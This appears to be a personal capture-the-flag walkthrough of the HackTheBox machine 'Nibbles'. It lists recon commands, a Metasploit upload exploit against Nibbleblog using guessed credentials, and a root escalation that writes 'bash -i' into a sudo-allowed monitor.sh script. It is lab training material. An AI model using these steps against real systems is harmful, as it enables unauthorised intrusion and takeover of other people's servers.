Nibbles

HTB 6. Nibbles
Port 22 and 80 open from nmap -A -T4 -p- 10.10.10.75, typically 80 is for the exploit and 22 is used later. SSH is usually not the exploit.
searchsploit apache 2.4
Going to 10.10.10.75 shows "Hello World" only
Viewing source shows 10.10.10.75/nibbleblog/ on nibbleblog platform
searchsploit nibble finds Nibbleblog 4.0.3 arbitrary file upload and remote code execution
In metasploit use exploit/multi/http/nibbleblog_file_upload and info shows we need to be authenticated
dirbuster to find login pages
Could potentially use Burp Suite to brute force usernames and password or just bruteforce password with admin as username. Potentially use cewl on blog posts to create password list.
Credentials are admin:nibbles, guessed by site name.
Set parameters in metasploit to the username, password, rhosts, and targeturi=/nibbleblog.
This works because of the My Image plugin that allows any file to be uploaded (no whitelisting is being done)
sysinfo shows 4.4.0 ubuntu and gituid show nibbler (1001)
Searching for priv_esc
shell
cd /home/nibbler
ls -la
cat user.txt
history
cat .bash_history
sudo -l
sudo -l reveals ~/personal/stuff/monitor.sh can run as root without a password
This folder does not exist so we can create a shell script in that location.
personal.zip exists, potentially try and crack it
uname -a to print entire OS running and potentially search for exploits for the general OS
​LinEnum.sh and linuxprivchecker.py are great scripts for enumerating linux.
echo "bash -i" > monitor.sh and chmod +x monitor.sh
sudo /home/nibbler/personal/stuff/monitor.sh
cat /root/root.txt
Last modified 1yr ago